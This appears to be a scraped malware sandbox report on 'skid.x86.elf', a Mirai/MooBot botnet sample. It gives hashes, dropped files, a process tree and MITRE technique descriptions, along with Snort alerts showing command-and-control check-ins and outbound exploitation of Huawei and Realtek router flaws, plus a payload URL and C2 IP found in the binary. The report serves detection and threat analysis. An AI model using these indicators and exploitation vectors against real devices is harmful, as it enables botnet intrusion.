	Hilix.arm7.elf	Get hash	malicious	Mirai	Browse	45.209.232.135
	Hilix.arm.elf	Get hash	malicious	Mirai	Browse	45.209.232.128
	arm-20230705-0951.elf	Get hash	malicious	Mirai, Moobot	Browse	197.191.86.132
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.191.38.239
	arm7-20230704-0803.elf	Get hash	malicious	Mirai, Moobot	Browse	196.175.184.196
	mips-20230704-0803.elf	Get hash	malicious	Mirai, Moobot	Browse	197.191.9.255
	izie2V13jr.elf	Get hash	malicious	Unknown	Browse	197.190.198.197
	FQJwMb9exh.elf	Get hash	malicious	Mirai	Browse	45.211.224.155
	uczB6y2FRj.elf	Get hash	malicious	Mirai	Browse	197.191.38.246
	tWKUyc26G7.elf	Get hash	malicious	Mirai	Browse	197.191.9.234
	3m37SZRkdC.elf	Get hash	malicious	Mirai	Browse	197.191.86.156
	rWo1PxISxc.elf	Get hash	malicious	Mirai	Browse	197.190.151.130
	hUHhvROf75.elf	Get hash	malicious	Mirai	Browse	197.190.238.229
	FhpgFooF2m.elf	Get hash	malicious	Mirai	Browse	45.211.224.154
	l99tLLKEfY.elf	Get hash	malicious	Mirai, Moobot	Browse	197.191.86.137

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	622592
Entropy (8bit):	4.657516417799966
Encrypted:	false
SSDEEP:	6144:rb7cWWov4H5N80nuDSyvxYCWZ0/VmpRELAR/QuU/MzUCl1NZ:H4WWoGgvSiOp2kl
MD5:	0C99179B6C5CFE82203424AD7DAD0D8F
SHA1:	CAC50B64B1352723FF8F58BB1B103B93C396539B
SHA-256:	CEC6859D12C6A981ACA4D7C88F6E62E9616FB4D765C4A52147A7DA7BAD4F2420
SHA-512:	4226FDE9F558FFEF2107C330DB942E7E665C51C520A840221541AD255D0995AF64101C69D42C4BD43037364CC4D152851625A53DC56CC188DC28A3DC8C5602F6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.W.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Source: skid.x86.elf	ReversingLabs: Detection: 79%
Source: skid.x86.elf	Virustotal: Detection: 61%			Perma Link

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37178 -> 79.110.49.16:6666
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 79.110.49.16:6666 -> 192.168.2.23:37178
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43830 -> 197.234.42.128:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:51556 -> 156.235.107.212:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34354 -> 156.235.100.33:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:46904 -> 156.254.36.115:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38180 -> 156.230.29.174:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53962 -> 156.235.104.131:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:33900 -> 156.254.51.160:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36092 -> 156.247.16.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55448 -> 156.254.61.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55834 -> 156.224.10.162:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:54444 -> 156.254.73.49:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:51122 -> 156.254.83.221:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58058 -> 41.234.86.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59128 -> 156.241.15.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57604 -> 156.253.45.183:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:47424 -> 156.230.20.44:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34610 -> 156.227.242.1:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:45838 -> 156.224.15.137:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:59732 -> 156.241.11.122:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:59082 -> 41.194.8.79:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56656 -> 156.254.36.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60972 -> 156.254.50.75:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:35176 -> 156.227.243.35:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48682 -> 156.254.96.172:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:36028 -> 156.224.10.117:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55912 -> 156.254.73.24:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50390 -> 156.234.227.19:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38688 -> 156.247.30.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50860 -> 156.254.106.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38706 -> 156.253.40.5:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:38518 -> 156.254.68.74:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:35024 -> 156.235.99.198:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:47508 -> 156.227.240.190:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43698 -> 156.241.12.136:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:52666 -> 156.254.83.87:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:48486 -> 156.225.130.77:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52064 -> 156.254.91.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52506 -> 156.253.44.198:37215

Source: global traffic	TCP traffic: 197.131.161.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.159.10.1 ports 1,2,3,5,7,52869
Source: global traffic	TCP traffic: 197.7.177.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.254.34.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.30.239.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.20.210 ports 1,2,3,5,7,52869

Source: unknown	TCP traffic detected without corresponding DNS query: 92.156.139.1
Source: unknown	TCP traffic detected without corresponding DNS query: 133.49.191.123
Source: unknown	TCP traffic detected without corresponding DNS query: 146.156.249.130
Source: unknown	TCP traffic detected without corresponding DNS query: 58.188.9.112
Source: unknown	TCP traffic detected without corresponding DNS query: 67.138.142.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.3.197.6
Source: unknown	TCP traffic detected without corresponding DNS query: 39.172.105.137
Source: unknown	TCP traffic detected without corresponding DNS query: 103.180.63.116
Source: unknown	TCP traffic detected without corresponding DNS query: 149.84.21.214
Source: unknown	TCP traffic detected without corresponding DNS query: 108.95.248.166
Source: unknown	TCP traffic detected without corresponding DNS query: 213.167.200.252
Source: unknown	TCP traffic detected without corresponding DNS query: 139.47.96.141
Source: unknown	TCP traffic detected without corresponding DNS query: 188.2.126.182
Source: unknown	TCP traffic detected without corresponding DNS query: 63.223.164.73
Source: unknown	TCP traffic detected without corresponding DNS query: 109.77.105.103
Source: unknown	TCP traffic detected without corresponding DNS query: 165.173.23.145
Source: unknown	TCP traffic detected without corresponding DNS query: 219.220.170.176
Source: unknown	TCP traffic detected without corresponding DNS query: 93.35.26.181
Source: unknown	TCP traffic detected without corresponding DNS query: 161.47.165.123
Source: unknown	TCP traffic detected without corresponding DNS query: 203.105.160.135
Source: unknown	TCP traffic detected without corresponding DNS query: 213.165.255.10
Source: unknown	TCP traffic detected without corresponding DNS query: 57.192.196.252
Source: unknown	TCP traffic detected without corresponding DNS query: 128.222.29.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 203.147.89.122
Source: unknown	TCP traffic detected without corresponding DNS query: 147.235.7.100
Source: unknown	TCP traffic detected without corresponding DNS query: 116.75.169.35
Source: unknown	TCP traffic detected without corresponding DNS query: 74.56.92.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.85.7.98
Source: unknown	TCP traffic detected without corresponding DNS query: 85.140.149.110
Source: unknown	TCP traffic detected without corresponding DNS query: 61.8.168.146
Source: unknown	TCP traffic detected without corresponding DNS query: 82.45.120.18
Source: unknown	TCP traffic detected without corresponding DNS query: 150.117.176.211
Source: unknown	TCP traffic detected without corresponding DNS query: 24.29.122.147
Source: unknown	TCP traffic detected without corresponding DNS query: 212.209.222.234
Source: unknown	TCP traffic detected without corresponding DNS query: 181.69.224.224
Source: unknown	TCP traffic detected without corresponding DNS query: 135.165.241.79
Source: unknown	TCP traffic detected without corresponding DNS query: 169.195.62.134
Source: unknown	TCP traffic detected without corresponding DNS query: 86.179.76.169
Source: unknown	TCP traffic detected without corresponding DNS query: 209.13.35.212
Source: unknown	TCP traffic detected without corresponding DNS query: 38.29.215.68
Source: unknown	TCP traffic detected without corresponding DNS query: 119.185.65.176
Source: unknown	TCP traffic detected without corresponding DNS query: 68.227.200.164
Source: unknown	TCP traffic detected without corresponding DNS query: 60.190.12.112
Source: unknown	TCP traffic detected without corresponding DNS query: 58.213.232.186
Source: unknown	TCP traffic detected without corresponding DNS query: 62.15.35.160
Source: unknown	TCP traffic detected without corresponding DNS query: 158.3.172.203
Source: unknown	TCP traffic detected without corresponding DNS query: 54.53.186.155
Source: unknown	TCP traffic detected without corresponding DNS query: 189.186.28.106
Source: unknown	TCP traffic detected without corresponding DNS query: 162.167.190.229

Source: skid.x86.elf	String found in binary or memory: http://79.110.49.16/realtek;
Source: skid.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: skid.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: skid.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: skid.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1593
Entropy (8bit):	4.8000505237427475
Encrypted:	false
SSDEEP:	48:U5oqJ1lr05sKzVq45pOZ/csAUfA5V5x59q4+pDNU1T3o9NBqJNIqJvDUIv34UxBi:U+y480M4OeMynhqsi
MD5:	DB2432F5403DAB6439A158F579EF4910
SHA1:	D55CC3FAF3A1E890BF44707F7574132A7D48476B
SHA-256:	EC6428ADF7100C2B948827379EA7185A6F3A566639727F5FB30DF440F30F07A9
SHA-512:	49E059C0171FE2FA55FA93DA221DBD7EBFB31AD5FA4928D4608D75A20DECC095A11CA07110572AEC8EE8B5041E3ED4C8FFA150F5499E88342A3805A627CEE96A
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2023-7-11-1:48:3."/var/log/dpkg.log" 2023-7-10-23:47:34."/var/log/speech-dispatcher/debug-flite" 2023-7-11-1:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2023-7-10-23:47:34."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2023-7-10-23:47:34."/var/log/apt/term.log" 2023-7-10-23:47:34."/var/log/ppp-connect-errors" 2023-7-11-1:0:0."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2023-7-11-1:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/apt/history.log" 2023-7-10-23:47:34."/var/log/boot.log" 2023-7-11-1:0:0."/var/log/lightdm/*.log" 2023-7-11-1:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/debug" 2023-7-11-1:0:0."/var/log/mail.log" 2023-7-11-1:0:0."/var/log/kern.log" 2023-7-10-23:47:34."/var/log/cups/access_log" 2023-7-11-1:48:3."/var/log/ufw.log" 2023-7-11-1:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2023-7-11-1:0:0."/var/log/daemon.

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Mon Jul 10 23:47:34 2023, from Unix, original size modulo 2^32 554
Category:	dropped
Size (bytes):	196
Entropy (8bit):	6.860049624736454
Encrypted:	false
SSDEEP:	6:XFRjjKYPhlZ7g/7vGko559K4B4izyKqYCIos/vt0b:XFJnhl9m7+ko55UizFhos/M
MD5:	9027EABDA3E1572B39ED53CCDC37F2C9
SHA1:	E38EC80A66F542432141AC6430EE26F87C0B06C9
SHA-256:	2422D36D4023AA3D0DA8B252EBC7BD6C333E52879792504169218611FEA41EEE
SHA-512:	9D34682833929251625780B29C37411BD4739E13BE3CA63BC1189F098A28BA3779F46296A11D44568FF5BE62C0738663D620090B573CCFB0C1514A745EEE401D
Malicious:	false
Preview:	.......d......0......jjO(...H..q.Zbc..p....&..'.E..7..d......L.....(...=`_..(\..... ....Py.EMjo\.4...7C4.......O..gg.z<?o...&;yr.....1.\H.:...q.0.1....IY.]$.{..a$=&..V6{'........*...

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.3518682702405975
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	skid.x86.elf
File size:	84'832 bytes
MD5:	c42320ae2f46763dc5cb64f4ef4a353b
SHA1:	c5ed8c5cd98f3d8efc9f69a14c6de2c2dfb78b5a
SHA256:	f51ad680bbdee56fd654e1b7cc607f36f18763d95bb3ba24aaeffd67f22e3a24
SHA512:	5da13b6f040b8f8f840dd9d5aaadd15d9035132f886f51752de977165fb7d0855def8ab9069282061f7c835ece7da5842607466eb738e4aa6ef803e833e05791
SSDEEP:	1536:0k36B7fq1hwJPwAXa08dLStORqRKn/Mr65waFmDRsg6VZBwbZndt:OB7fCamAXSqEn/p5wvDRsgkwbZndt
TLSH:	5A833A47B1C189FDC05AC1740AAEB936F832F2ED123AB1A737D0FF266C4DD10495A966
File Content Preview:	.ELF..............>.......@.....@........H..........@.8...@.......................@.......@......B.......B.......................B.......BQ......BQ..............2..............Q.td....................................................H...._....z...H........

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x107a6	0x0	0x6	AX	16
.fini	PROGBITS	0x4108a6	0x108a6	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x4108c0	0x108c0	0x39d0	0x0	0x2	A	32
.ctors	PROGBITS	0x514298	0x14298	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x5142a8	0x142a8	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x5142c0	0x142c0	0x5e0	0x0	0x3	WA	32
.bss	NOBITS	0x5148a0	0x148a0	0x2cc8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x148a0	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x14290	0x14290	6.4210	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x14298	0x514298	0x514298	0x608	0x32d0	2.4700	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Start time:	01:48:03
Start date:	11/07/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	01:48:04
Start date:	11/07/2023
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	01:48:05
Start date:	11/07/2023
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	01:48:06
Start date:	11/07/2023
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	01:48:20
Start date:	11/07/2023
Path:	/tmp/skid.x86.elf
Arguments:	/tmp/skid.x86.elf
File size:	84832 bytes
MD5 hash:	c42320ae2f46763dc5cb64f4ef4a353b

Start time:	01:49:34
Start date:	11/07/2023
Path:	/usr/bin/dash
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report skid.x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/6228

/var/cache/man/cs/6228

/var/cache/man/cs/index.db.OlfS95

/var/cache/man/da/6228

/var/cache/man/da/index.db.vArS49

/var/cache/man/de/6228

/var/cache/man/de/index.db.dnWHM8

/var/cache/man/es/6228

/var/cache/man/es/index.db.KRfl78

/var/cache/man/fi/6228

/var/cache/man/fi/index.db.suVIU6

/var/cache/man/fr.ISO8859-1/6228

/var/cache/man/fr.ISO8859-1/index.db.XIlfP6

/var/cache/man/fr.UTF-8/6228

/var/cache/man/fr.UTF-8/index.db.ucdHM9

/var/cache/man/fr/6228

/var/cache/man/fr/index.db.8Um907

/var/cache/man/hu/6228

/var/cache/man/hu/index.db.K9qX97

/var/cache/man/id/6228

/var/cache/man/id/index.db.ZmsBP9

/var/cache/man/index.db.2sp8t7

/var/cache/man/it/6228

/var/cache/man/it/index.db.LtLcQ9

/var/cache/man/ja/6228

/var/cache/man/ja/index.db.wg7N69

/var/cache/man/ko/6228

/var/cache/man/ko/index.db.gOWlf9

Linux Analysis Report
skid.x86.elf

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre